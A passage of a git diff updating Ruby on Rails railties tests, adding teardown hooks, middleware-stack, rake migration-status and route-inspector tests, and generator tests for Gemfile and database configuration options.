@@ en: # Fallbacks test "not using config.i18n.fallbacks does not initialize I18n.fallbacks" do - I18n.backend = Class.new { include I18n::Backend::Base }.new + I18n.backend = Class.new(I18n::Backend::Simple).new load_app assert_no_fallbacks end @@ -141,7 +145,7 @@ en: test "config.i18n.fallbacks = true initializes I18n.fallbacks with default settings even when backend changes" do I18n::Railtie.config.i18n.fallbacks = true - I18n::Railtie.config.i18n.backend = Class.new { include I18n::Backend::Base }.new + I18n::Railtie.config.i18n.backend = Class.new(I18n::Backend::Simple).new load_app assert I18n.backend.class.included_modules.include?(I18n::Backend::Fallbacks) assert_fallbacks :de => [:de, :en] diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb index 714d62311d..644b8208a9 100644 --- a/railties/test/application/initializers/load_path_test.rb +++ b/railties/test/application/initializers/load_path_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + test "initializing an application adds the application paths to the load path" do add_to_config <<-RUBY config.root = "#{app_path}" diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb index 7e035be764..b72c14eaf0 100644 --- a/railties/test/application/initializers/notifications_test.rb +++ b/railties/test/application/initializers/notifications_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + def instrument(*args, &block) ActiveSupport::Notifications.instrument(*args, &block) end @@ -33,7 +37,7 @@ module ApplicationTests wait assert_equal 1, logger.logged(:debug).size - assert_match /SHOW tables/, logger.logged(:debug).last + assert_match(/SHOW tables/, logger.logged(:debug).last) end end end diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb index c340465e87..47c6fd5c6e 100644 --- a/railties/test/application/loading_test.rb +++ b/railties/test/application/loading_test.rb @@ -8,6 +8,10 @@ class LoadingTest < Test::Unit::TestCase boot_rails end + def teardown + teardown_app + end + def app @app ||= Rails.application end diff --git a/railties/test/application/middleware/best_practices_test.rb b/railties/test/application/middleware/best_practices_test.rb index 5b722e7510..1c88b9bf06 100644 --- a/railties/test/application/middleware/best_practices_test.rb +++ b/railties/test/application/middleware/best_practices_test.rb @@ -12,6 +12,10 @@ module ApplicationTests simple_controller end + def teardown + teardown_app + end + test "simple controller in production mode returns best standards" do get '/foo' assert_equal "IE=Edge,chrome=1", last_response.headers["X-UA-Compatible"] diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb index f582ed0e42..050a2161ae 100644 --- a/railties/test/application/middleware/cache_test.rb +++ b/railties/test/application/middleware/cache_test.rb @@ -11,12 +11,16 @@ module ApplicationTests extend Rack::Test::Methods end + def teardown + teardown_app + end + def simple_controller controller :expires, <<-RUBY class ExpiresController < ApplicationController def expires_header expires_in 10, :public => !params[:private] - render :text => ActiveSupport::SecureRandom.hex(16) + render :text => SecureRandom.hex(16) end def expires_etag @@ -27,10 +31,14 @@ module ApplicationTests $last_modified ||= Time.now.utc render_conditionally(:last_modified => $last_modified) end + + def keeps_if_modified_since + render :text => request.headers['If-Modified-Since'] + end private def render_conditionally(headers) if stale?(headers.merge(:public => !params[:private])) - render :text => ActiveSupport::SecureRandom.hex(16) + render :text => SecureRandom.hex(16) end end end @@ -43,6 +51,16 @@ module ApplicationTests RUBY end + def test_cache_keeps_if_modified_since + simple_controller + expected = "Wed, 30 May 1984 19:43:31 GMT" + + get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected + + assert_equal 200, last_response.status + assert_equal expected, last_response.body, "cache should have kept If-Modified-Since" + end + def test_cache_is_disabled_in_dev_mode simple_controller app("development") diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb index f28302d70a..da291f061c 100644 --- a/railties/test/application/middleware/remote_ip_test.rb +++ b/railties/test/application/middleware/remote_ip_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb index 0128261cd4..d2ad2668bb 100644 --- a/railties/test/application/middleware/sendfile_test.rb +++ b/railties/test/application/middleware/sendfile_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end @@ -23,11 +27,12 @@ module ApplicationTests end # x_sendfile_header middleware - test "config.action_dispatch.x_sendfile_header defaults to ''" do + test "config.action_dispatch.x_sendfile_header defaults to nil" do make_basic_app simple_controller get "/" + assert !last_response.headers["X-Sendfile"] assert_equal File.read(__FILE__), last_response.body end diff --git a/railties/test/application/middleware/show_exceptions_test.rb b/railties/test/application/middleware/show_exceptions_test.rb index 5487e41e0a..e3f27f63c3 100644 --- a/railties/test/application/middleware/show_exceptions_test.rb +++ b/railties/test/application/middleware/show_exceptions_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb index 6f14200a14..4703a59326 100644 --- a/railties/test/application/middleware_test.rb +++ b/railties/test/application/middleware_test.rb @@ -11,20 +11,26 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end test "default middleware stack" do + add_to_config "config.action_dispatch.x_sendfile_header = 'X-Sendfile'" + boot! assert_equal [ - "Rack::ContentLength", "ActionDispatch::Static", "Rack::Lock", "ActiveSupport::Cache::Strategy::LocalCache", "Rack::Runtime", "Rack::MethodOverride", + "ActionDispatch::RequestId", "Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods "ActionDispatch::ShowExceptions", "ActionDispatch::RemoteIp", @@ -44,12 +50,18 @@ module ApplicationTests ], middleware end + test "Rack::Sendfile is not included by default" do + boot! + + assert !middleware.include?("Rack::Sendfile"), "Rack::Sendfile is not included in the default stack unless you set config.action_dispatch.x_sendfile_header" + end + test "Rack::Cache is present when action_controller.perform_caching is set" do add_to_config "config.action_controller.perform_caching = true" boot! - assert_equal "Rack::Cache", middleware.second + assert_equal "Rack::Cache", middleware.first end test "Rack::SSL is present when force_ssl is set" do @@ -58,6 +70,14 @@ module ApplicationTests assert middleware.include?("Rack::SSL") end + test "Rack::SSL is configured with options when given" do + add_to_config "config.force_ssl = true" + add_to_config "config.ssl_options = { :host => 'example.com' }" + boot! + + assert_equal AppTemplate::Application.middleware.first.args, [{:host => 'example.com'}] + end + test "removing Active Record omits its middleware" do use_frameworks [] boot! @@ -104,7 +124,7 @@ module ApplicationTests end test "insert middleware after" do - add_to_config "config.middleware.insert_after Rack::ContentLength, Rack::Config" + add_to_config "config.middleware.insert_after ActionDispatch::Static, Rack::Config" boot! assert_equal "Rack::Config", middleware.second end @@ -112,12 +132,12 @@ module ApplicationTests test "RAILS_CACHE does not respond to middleware" do add_to_config "config.cache_store = :memory_store" boot! - assert_equal "Rack::Runtime", middleware.fourth + assert_equal "Rack::Runtime", middleware.third end test "RAILS_CACHE does respond to middleware" do boot! - assert_equal "Rack::Runtime", middleware.fifth + assert_equal "Rack::Runtime", middleware.fourth end test "identity map is inserted" do @@ -127,7 +147,7 @@ module ApplicationTests end test "insert middleware before" do - add_to_config "config.middleware.insert_before Rack::ContentLength, Rack::Config" + add_to_config "config.middleware.insert_before ActionDispatch::Static, Rack::Config" boot! assert_equal "Rack::Config", middleware.first end diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb index b1ff6e9cb1..964cff48cd 100644 --- a/railties/test/application/paths_test.rb +++ b/railties/test/application/paths_test.rb @@ -20,6 +20,10 @@ module ApplicationTests @paths = Rails.application.config.paths end + def teardown + teardown_app + end + def root(*path) app_path(*path).to_s end @@ -44,7 +48,6 @@ module ApplicationTests assert_path @paths["vendor"], "vendor" assert_path @paths["vendor/plugins"], "vendor/plugins" assert_path @paths["tmp"], "tmp" - assert_path @paths["tmp/cache"], "tmp/cache" assert_path @paths["config"], "config" assert_path @paths["config/locales"], "config/locales/en.yml" assert_path @paths["config/environment"], "config/environment.rb" @@ -61,7 +64,7 @@ module ApplicationTests end test "environments has a glob equal to the current environment" do - assert_equal "#{Rails.env}.rb", @paths.config.environments.glob + assert_equal "#{Rails.env}.rb", @paths["config/environments"].glob end test "load path includes each of the paths in config.paths as long as the directories exist" do diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb index a29244357c..387eb25525 100644 --- a/railties/test/application/rack/logger_test.rb +++ b/railties/test/application/rack/logger_test.rb @@ -12,6 +12,12 @@ module ApplicationTests build_app require "#{app_path}/config/environment" super + @logger = MockLogger.new + Rails.stubs(:logger).returns(@logger) + end + + def teardown + teardown_app end def logs @@ -21,19 +27,19 @@ module ApplicationTests test "logger logs proper HTTP verb and path" do get "/blah" wait - assert_match /^Started GET "\/blah"/, logs[0] + assert_match(/^Started GET "\/blah"/, logs[0]) end test "logger logs HTTP verb override" do post "/", {:_method => 'put'} wait - assert_match /^Started PUT "\/"/, logs[0] + assert_match(/^Started PUT "\/"/, logs[0]) end test "logger logs HEAD requests" do post "/", {:_method => 'head'} wait - assert_match /^Started HEAD "\/"/, logs[0] + assert_match(/^Started HEAD "\/"/, logs[0]) end end end diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb index b0a9925890..ff9cdcadc7 100644 --- a/railties/test/application/rackup_test.rb +++ b/railties/test/application/rackup_test.rb @@ -15,6 +15,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "rails app is present" do assert File.exist?(app_path("config")) end diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb index d77c2d14ab..c76bc3d526 100644 --- a/railties/test/application/rake_test.rb +++ b/railties/test/application/rake_test.rb @@ -1,3 +1,4 @@ +# coding:utf-8 require "isolation/abstract_unit" module ApplicationTests @@ -10,6 +11,10 @@ module ApplicationTests FileUtils.rm_rf("#{app_path}/config/environments") end + def teardown + teardown_app + end + def test_gems_tasks_are_loaded_first_than_application_ones app_file "lib/tasks/app.rake", <<-RUBY $task_loaded = Rake::Task.task_defined?("db:create:all") @@ -31,7 +36,7 @@ module ApplicationTests AppTemplate::Application.initialize! RUBY - assert_match "SuperMiddleware", Dir.chdir(app_path){ `rake middleware` } + assert_match("SuperMiddleware", Dir.chdir(app_path){ `rake middleware` }) end def test_initializers_are_executed_in_rake_tasks @@ -55,22 +60,39 @@ module ApplicationTests Dir.chdir(app_path){ `rake stats` } end - def test_rake_routes_output_strips_anchors_from_http_verbs - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - get '/cart', :to => 'cart#show' - end + def test_rake_test_error_output + Dir.chdir(app_path){ `rake db:migrate` } + + app_file "config/database.yml", <<-RUBY + development: + RUBY + + app_file "test/unit/one_unit_test.rb", <<-RUBY RUBY - assert_match 'cart GET /cart(.:format)', Dir.chdir(app_path){ `rake routes` } + + app_file "test/functional/one_functional_test.rb", <<-RUBY + raise RuntimeError + RUBY + + app_file "test/integration/one_integration_test.rb", <<-RUBY + raise RuntimeError + RUBY + + silence_stderr do + output = Dir.chdir(app_path){ `rake test` } + assert_match(/Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output) + assert_match(/Errors running test:functionals! #<RuntimeError/, output) + assert_match(/Errors running test:integration! #<RuntimeError/, output) + end end - def test_rake_routes_shows_custom_assets + def test_rake_routes_calls_the_route_inspector app_file "config/routes.rb", <<-RUBY AppTemplate::Application.routes.draw do - get '/custom/assets', :to => 'custom_assets#show' + get '/cart', :to => 'cart#show' end RUBY - assert_match 'custom_assets GET /custom/assets(.:format)', Dir.chdir(app_path){ `rake routes` } + assert_equal "cart GET /cart(.:format) cart#show\n", Dir.chdir(app_path){ `rake routes` } end def test_logger_is_flushed_when_exiting_production_rake_tasks @@ -93,16 +115,65 @@ module ApplicationTests end output = Dir.chdir(app_path){ `rake db:migrate` } - assert_match /create_table\(:users\)/, output - assert_match /CreateUsers: migrated/, output - assert_match /add_column\(:users, :email, :string\)/, output - assert_match /AddEmailToUsers: migrated/, output + assert_match(/create_table\(:users\)/, output) + assert_match(/CreateUsers: migrated/, output) + assert_match(/add_column\(:users, :email, :string\)/, output) + assert_match(/AddEmailToUsers: migrated/, output) output = Dir.chdir(app_path){ `rake db:rollback STEP=2` } - assert_match /drop_table\("users"\)/, output - assert_match /CreateUsers: reverted/, output - assert_match /remove_column\("users", :email\)/, output - assert_match /AddEmailToUsers: reverted/, output + assert_match(/drop_table\("users"\)/, output) + assert_match(/CreateUsers: reverted/, output) + assert_match(/remove_column\("users", :email\)/, output) + assert_match(/AddEmailToUsers: reverted/, output) + end + + def test_migration_status_when_schema_migrations_table_is_not_present + output = Dir.chdir(app_path){ `rake db:migrate:status` } + assert_equal "Schema migrations table does not exist yet.\n", output + end + + def test_migration_status + Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=1` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + end + + def test_migration_status_after_rollback_and_redo + Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=2` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/down\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:migrate:redo` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) end def test_loading_specific_fixtures @@ -113,7 +184,7 @@ module ApplicationTests end require "#{rails_root}/config/environment" - + # loading a specific fixture errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` } assert $?.success?, errormsg @@ -121,5 +192,14 @@ module ApplicationTests assert_equal 2, ::AppTemplate::Application::Product.count assert_equal 0, ::AppTemplate::Application::User.count end + + def test_scaffold_tests_pass_by_default + content = Dir.chdir(app_path) do + `rails generate scaffold user username:string password:string` + `bundle exec rake db:migrate db:test:clone test` + end + + assert_match(/7 tests, 10 assertions, 0 failures, 0 errors/, content) + end end end diff --git a/railties/test/application/route_inspect_test.rb b/railties/test/application/route_inspect_test.rb new file mode 100644 index 0000000000..78980705ed --- /dev/null +++ b/railties/test/application/route_inspect_test.rb @@ -0,0 +1,105 @@ +require 'test/unit' +require 'rails/application/route_inspector' +require 'action_controller' + +module ApplicationTests + class RouteInspectTest < Test::Unit::TestCase + def setup + @set = ActionDispatch::Routing::RouteSet.new + @inspector = Rails::Application::RouteInspector.new + end + + def test_cart_inspect + @set.draw do + get '/cart', :to => 'cart#show' + end + output = @inspector.format @set.routes + assert_equal ["cart GET /cart(.:format) cart#show"], output + end + + def test_inspect_shows_custom_assets + @set.draw do + get '/custom/assets', :to => 'custom_assets#show' + end + output = @inspector.format @set.routes + assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output + end + + def test_inspect_routes_shows_resources_route + @set.draw do + resources :articles + end + output = @inspector.format @set.routes + expected = [ + " articles GET /articles(.:format) articles#index", + " POST /articles(.:format) articles#create", + " new_article GET /articles/new(.:format) articles#new", + "edit_article GET /articles/:id/edit(.:format) articles#edit", + " article GET /articles/:id(.:format) articles#show", + " PUT /articles/:id(.:format) articles#update", + " DELETE /articles/:id(.:format) articles#destroy" ] + assert_equal expected, output + end + + def test_inspect_routes_shows_root_route + @set.draw do + root :to => 'pages#main' + end + output = @inspector.format @set.routes + assert_equal ["root / pages#main"], output + end + + def test_inspect_routes_shows_dynamic_action_route + @set.draw do + match 'api/:action' => 'api' + end + output = @inspector.format @set.routes + assert_equal [" /api/:action(.:format) api#:action"], output + end + + def test_inspect_routes_shows_controller_and_action_only_route + @set.draw do + match ':controller/:action' + end + output = @inspector.format @set.routes + assert_equal [" /:controller/:action(.:format) :controller#:action"], output + end + + def test_inspect_routes_shows_controller_and_action_route_with_constraints + @set.draw do + match ':controller(/:action(/:id))', :id => /\d+/ + end + output = @inspector.format @set.routes + assert_equal [" /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output + end + + def test_rake_routes_shows_route_with_defaults + @set.draw do + match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'} + end + output = @inspector.format @set.routes + assert_equal [%Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}]], output + end + + def test_rake_routes_shows_route_with_constraints + @set.draw do + match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output + end + + class RackApp + def self.call(env) + end + end + + def test_rake_routes_shows_route_with_rack_app + @set.draw do + match 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output + end + end +end diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb index e3a7f8a63c..a05e39658d 100644 --- a/railties/test/application/routing_test.rb +++ b/railties/test/application/routing_test.rb @@ -11,6 +11,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "rails/info/properties in development" do app("development") get "/rails/info/properties" @@ -137,7 +141,7 @@ module ApplicationTests test "routes appending blocks" do app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do - match ':controller#:action' + match ':controller/:action' end RUBY diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb index 292d1e247f..4468fa295e 100644 --- a/railties/test/application/runner_test.rb +++ b/railties/test/application/runner_test.rb @@ -18,6 +18,14 @@ module ApplicationTests MODEL end + def teardown + teardown_app + end + + def test_should_include_runner_in_shebang_line_in_help_without_option + assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner` } + end + def test_should_include_runner_in_shebang_line_in_help assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner --help` } end diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb index f96319f472..27a7959e84 100644 --- a/railties/test/application/test_test.rb +++ b/railties/test/application/test_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "truth" do app_file 'test/unit/foo_test.rb', <<-RUBY require 'test_helper' diff --git a/railties/test/fixtures/lib/generators/usage_template/USAGE b/railties/test/fixtures/lib/generators/usage_template/USAGE new file mode 100644 index 0000000000..bcd63c52e2 --- /dev/null +++ b/railties/test/fixtures/lib/generators/usage_template/USAGE @@ -0,0 +1 @@ +:: <%= 1 + 1 %> ::
\ No newline at end of file diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb new file mode 100644 index 0000000000..078b0f9412 --- /dev/null +++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb @@ -0,0 +1,5 @@ +require 'rails/generators' + +class UsageTemplateGenerator < Rails::Generators::Base + source_root File.expand_path("templates", File.dirname(__FILE__)) +end diff --git a/railties/test/fixtures/lib/generators/wrong_generator.rb b/railties/test/fixtures/lib/generators/wrong_generator.rb deleted file mode 100644 index 6aa7cb052e..0000000000 --- a/railties/test/fixtures/lib/generators/wrong_generator.rb +++ /dev/null @@ -1,3 +0,0 @@ -# Old generator version -class WrongGenerator < Rails::Generator::NamedBase -end diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb index 597746c4aa..51fa2fe16f 100644 --- a/railties/test/generators/actions_test.rb +++ b/railties/test/generators/actions_test.rb @@ -102,11 +102,32 @@ class ActionsTest < Rails::Generators::TestCase assert_file 'Gemfile', /gem "rspec-rails"$/ end + def test_gem_group_should_wrap_gems_in_a_group + run_generator + + action :gem_group, :development, :test do + gem 'rspec-rails' + end + + action :gem_group, :test do + gem 'fakeweb' + end + + assert_file 'Gemfile', /\ngroup :development, :test do\n gem "rspec-rails"\nend\n\ngroup :test do\n gem "fakeweb"\nend/ + end + def test_environment_should_include_data_in_environment_initializer_block run_generator autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]' action :environment, autoload_paths - assert_file 'config/application.rb', /#{Regexp.escape(autoload_paths)}/ + assert_file 'config/application.rb', / class Application < Rails::Application\n #{Regexp.escape(autoload_paths)}/ + end + + def test_environment_should_include_data_in_environment_initializer_block_with_env_option + run_generator + autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]' + action :environment, autoload_paths, :env => 'development' + assert_file "config/environments/development.rb", /Application\.configure do\n #{Regexp.escape(autoload_paths)}/ end def test_environment_with_block_should_include_block_contents_in_environment_initializer_block @@ -158,9 +179,12 @@ class ActionsTest < Rails::Generators::TestCase action :generate, 'model', 'MyModel' end - def test_rake_should_run_rake_command_with_development_env - generator.expects(:run).once.with('rake log:clear RAILS_ENV=development', :verbose => false) + def test_rake_should_run_rake_command_with_default_env + generator.expects(:run).once.with("rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env end def test_rake_with_env_option_should_run_rake_command_in_env @@ -168,9 +192,28 @@ class ActionsTest < Rails::Generators::TestCase action :rake, 'log:clear', :env => 'production' end + def test_rake_with_rails_env_variable_should_run_rake_command_in_env + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "production" + action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env + end + + def test_env_option_should_win_over_rails_env_variable_when_running_rake + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "staging" + action :rake, 'log:clear', :env => 'production' + ensure + ENV["RAILS_ENV"] = old_env + end + def test_rake_with_sudo_option_should_run_rake_command_with_sudo - generator.expects(:run).once.with('sudo rake log:clear RAILS_ENV=development', :verbose => false) + generator.expects(:run).once.with("sudo rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear', :sudo => true + ensure + ENV["RAILS_ENV"] = old_env end def test_capify_should_run_the_capify_command diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb index 42fe7a7fea..955ed09361 100644 --- a/railties/test/generators/app_generator_test.rb +++ b/railties/test/generators/app_generator_test.rb @@ -10,6 +10,7 @@ DEFAULT_APP_FILES = %w( config.ru app/assets/javascripts app/assets/stylesheets + app/assets/images app/controllers app/helpers app/mailers @@ -22,8 +23,8 @@ DEFAULT_APP_FILES = %w( doc lib lib/tasks + lib/assets log - app/assets/images script/rails test/fixtures test/functional @@ -34,6 +35,7 @@ DEFAULT_APP_FILES = %w( vendor/assets vendor/plugins tmp/cache + tmp/cache/assets ) class AppGeneratorTest < Rails::Generators::TestCase @@ -47,11 +49,12 @@ class AppGeneratorTest < Rails::Generators::TestCase ::DEFAULT_APP_FILES end - def test_application_controller_and_layout_files + def test_assets run_generator assert_file "app/views/layouts/application.html.erb", /stylesheet_link_tag\s+"application"/ assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/ assert_file "app/assets/stylesheets/application.css" + assert_file "config/application.rb", /config\.assets\.enabled = true/ end def test_invalid_application_name_raises_an_error @@ -123,46 +126,86 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_config_database_is_added_by_default run_generator assert_file "config/database.yml", /sqlite3/ - assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + unless defined?(JRUBY_VERSION) + assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + else + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/ + end end def test_config_another_database run_generator([destination_root, "-d", "mysql"]) assert_file "config/database.yml", /mysql/ - assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + unless defined?(JRUBY_VERSION) + assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + else + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/ + end + end + + def test_config_postgresql_database + run_generator([destination_root, "-d", "postgresql"]) + assert_file "config/database.yml", /postgresql/ + unless defined?(JRUBY_VERSION) + assert_file "Gemfile", /^gem\s+["']pg["']$/ + else + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/ + end end def test_config_jdbcmysql_database run_generator([destination_root, "-d", "jdbcmysql"]) - assert_file "config/database.yml", /jdbcmysql/ + assert_file "config/database.yml", /mysql/ assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/ - assert_file "Gemfile", /^gem\s+["']jruby-openssl["']$/ if defined?(JRUBY_VERSION) && JRUBY_VERSION < "1.6" + # TODO: When the JRuby guys merge jruby-openssl in + # jruby this will be removed + assert_file "Gemfile", /^gem\s+["']jruby-openssl["']$/ if defined?(JRUBY_VERSION) end def test_config_jdbcsqlite3_database run_generator([destination_root, "-d", "jdbcsqlite3"]) - assert_file "config/database.yml", /jdbcsqlite3/ + assert_file "config/database.yml", /sqlite3/ assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/ end def test_config_jdbcpostgresql_database run_generator([destination_root, "-d", "jdbcpostgresql"]) - assert_file "config/database.yml", /jdbcpostgresql/ + assert_file "config/database.yml", /postgresql/ assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/ end + def test_config_jdbc_database + run_generator([destination_root, "-d", "jdbc"]) + assert_file "config/database.yml", /jdbc/ + assert_file "config/database.yml", /mssql/ + assert_file "Gemfile", /^gem\s+["']activerecord-jdbc-adapter["']$/ + end + + def test_config_jdbc_database_when_no_option_given + if defined?(JRUBY_VERSION) + run_generator([destination_root]) + assert_file "config/database.yml", /sqlite3/ + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/ + end + end + def test_generator_if_skip_active_record_is_given run_generator [destination_root, "--skip-active-record"] assert_no_file "config/database.yml" + assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/ assert_file "test/test_helper.rb" do |helper_content| assert_no_match(/fixtures :all/, helper_content) end assert_file "test/performance/browsing_test.rb" end - def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given - run_generator [destination_root, "--skip-active-record"] - assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/ + def test_generator_if_skip_sprockets_is_given + run_generator [destination_root, "--skip-sprockets"] + assert_file "config/application.rb" do |content| + assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content) + assert_no_match(/config\.assets\.enabled = true/, content) + end + assert_file "test/performance/browsing_test.rb" end def test_creation_of_a_test_directory @@ -170,9 +213,18 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file 'test' end + def test_creation_of_vendor_assets_javascripts_directory + run_generator + assert_file "vendor/assets/javascripts" + end + + def test_creation_of_vendor_assets_stylesheets_directory + run_generator + assert_file "vendor/assets/stylesheets" + end + def test_jquery_is_the_default_javascript_library run_generator - assert_file "config/application.rb", /#\s+config\.action_view\.javascript_expansions\[:defaults\]\s+=\s+%w\(prototype prototype_ujs\)/ assert_file "app/assets/javascripts/application.js" do |contents| assert_match %r{^//= require jquery}, contents assert_match %r{^//= require jquery_ujs}, contents @@ -184,7 +236,6 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_other_javascript_libraries run_generator [destination_root, '-j', 'prototype'] - assert_file "config/application.rb", /#\s+config\.action_view\.javascript_expansions\[:defaults\]\s+=\s+%w\(prototype prototype_ujs\)/ assert_file "app/assets/javascripts/application.js" do |contents| assert_match %r{^//= require prototype}, contents assert_match %r{^//= require prototype_ujs}, contents @@ -196,27 +247,11 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_javascript_is_skipped_if_required run_generator [destination_root, "--skip-javascript"] - assert_file "config/application.rb", /^\s+# config\.action_view\.javascript_expansions\[:defaults\]\s+=\s+%w\(\)/ assert_file "app/assets/javascripts/application.js" do |contents| assert_no_match %r{^//=\s+require\s}, contents end end - def test_inclusion_of_turn_gem_in_gemfile - run_generator - assert_file "Gemfile" do |contents| - assert_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2' - assert_no_match(/gem 'turn'/, contents) if RUBY_VERSION < '1.9.2' - end - end - - def test_turn_gem_is_not_included_in_gemfile_if_skipping_test_unit - run_generator [destination_root, "--skip-test-unit"] - assert_file "Gemfile" do |contents| - assert_no_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2' - end - end - def test_inclusion_of_ruby_debug run_generator assert_file "Gemfile" do |contents| @@ -284,6 +319,15 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_generated_environments_file_for_sanitizer + run_generator [destination_root, "--skip-active-record"] + ["config/environments/development.rb", "config/environments/test.rb"].each do |env_file| + assert_file env_file do |file| + 